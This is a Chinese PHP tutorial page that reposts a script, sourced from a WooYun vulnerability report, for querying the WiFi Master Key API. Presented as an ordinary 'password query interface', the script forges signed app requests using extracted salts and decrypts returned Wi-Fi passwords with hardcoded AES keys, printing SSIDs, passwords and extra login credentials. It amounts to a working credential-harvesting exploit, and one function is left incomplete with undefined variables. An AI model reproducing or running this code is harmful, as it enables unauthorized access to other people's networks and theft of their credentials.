当前位置:首页 > PHP教程 > php应用 > 列表

WIFI万能钥匙密码查询接口实例

发布:smiling 来源: PHP粉丝网  添加日期:2021-06-19 20:47:54 浏览: 评论:0 

本篇文章由脚本之家小编给大家分享的WIFI万能钥匙密码查询接口实例,代码非常简单,适合程序员开发使用,感兴趣的朋友跟着小编一起学习吧,不废话了,直接给大家贴代码了。

  1. <?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268 
  2. $bssid = "c8:3a:35:fa:b8:80" ; 
  3. $ssid = "Podinns2F03" ; 
  4. if (isset( $bssid ) && isset( $ssid )){ 
  5. //update salt 
  6.    $ret = request( $bssid , $ssid , md5(rand(1, 10000))); 
  7.    $ret = json_decode( $ret ); 
  8.    $ret = request( $bssid , $ssid , $ret ->retSn); 
  9.    $ret = json_decode( $ret ); 
  10.    if ( $ret ->retCd == 0){ 
  11.      if ( $ret ->qryapwd->retCd == 0){ 
  12.        $list = $ret ->qryapwd->psws; 
  13.        foreach ( $list as $wifi ){ 
  14.          echo 'SSID: ' . $wifi ->ssid. "\n" ; 
  15.          echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ; 
  16.          echo 'BSSID: ' . $wifi ->bssid. "\n" ; 
  17.          if ( $wifi ->xUser){ 
  18.            echo 'xUser: ' . $wifi ->xUser. "\n" ; 
  19.            echo 'xPwd: ' . $wifi ->xPwd. "\n" ; 
  20.          } 
  21.        } 
  22.      } 
  23.      else { 
  24.        echo $ret ->qryapwd->retMsg; 
  25.      } 
  26.    } 
  27. function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){ 
  28.    $data = array (); 
  29.    $data [ 'appid' ] = '0008' ; 
  30.    $data [ 'bssid' ] = $bssid ; 
  31.    $data [ 'chanid' ] = 'gw' ; 
  32.    $data [ 'dhid' ] = $dhid ; 
  33.    $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ; 
  34.    $data [ 'lang' ] = 'cn' ; 
  35.    $data [ 'mac' ] = '60f81dad28de' ; 
  36.    $data [ 'method' ] = 'getDeepSecChkSwitch' ; 
  37.    $data [ 'pid' ] = 'qryapwd:commonswitch' ; 
  38.    $data [ 'ssid' ] = $ssid ; 
  39.    $data [ 'st' ] = 'm' ; 
  40.    $data [ 'uhid' ] = 'a0000000000000000000000000000001' ; 
  41.    $data [ 'v' ] = '324' ; 
  42.    $data [ 'sign' ] = sign( $data , $salt ); 
  43.    $curl = curl_init(); 
  44.    curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' ); 
  45.    curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' ); 
  46.    curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate 
  47.    curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true); 
  48.    curl_setopt( $curl , CURLOPT_POST, true); // enable posting 
  49.    curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images 
  50.    curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload 
  51.    $r = curl_exec( $curl ); 
  52.    curl_close( $curl ); 
  53.    return $r ; 
  54. function registerNewDevice(){ 
  55.    $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ; 
  56.    $data = array (); 
  57.    $data [ 'appid' ] = '0008' ; 
  58.    $data [ 'bssid' ] = $bssid ; 
  59.    $data [ 'chanid' ] = 'gw' ; 
  60.    $data [ 'dhid' ] = $dhid ; 
  61.    $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ; 
  62.    $data [ 'lang' ] = 'cn' ; 
  63.    $data [ 'mac' ] = '60f81dad28de' ; 
  64.    $data [ 'method' ] = 'getDeepSecChkSwitch' ; 
  65.    $data [ 'pid' ] = 'qryapwd:commonswitch' ; 
  66.    $data [ 'ssid' ] = $ssid ; 
  67.    $data [ 'st' ] = 'm' ; 
  68.    $data [ 'uhid' ] = 'a0000000000000000000000000000001' ; 
  69.    $data [ 'v' ] = '324' ; 
  70.    $data [ 'sign' ] = sign( $data , $salt ); 
  71. function sign( $array , $salt ){ 
  72.    // 签名算法 
  73.    $request_str = '' ; 
  74.    // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort 
  75.    ksort( $array ); 
  76.    foreach ( $array as $key => $value ) { 
  77.      $request_str .= $value ; 
  78.    } 
  79.    $sign = md5( $request_str . $salt ); 
  80.    return strtoupper ( $sign ); 
  81. function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){ 
  82.    //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密 
  83.    //[length][password][timestamp] 
  84.    $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv ); 
  85.    return substr (trim( $decrypted_string ),3,-13); 
  86. } ?> 

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

Tags: WIFI万能钥匙密码查询接口

分享到: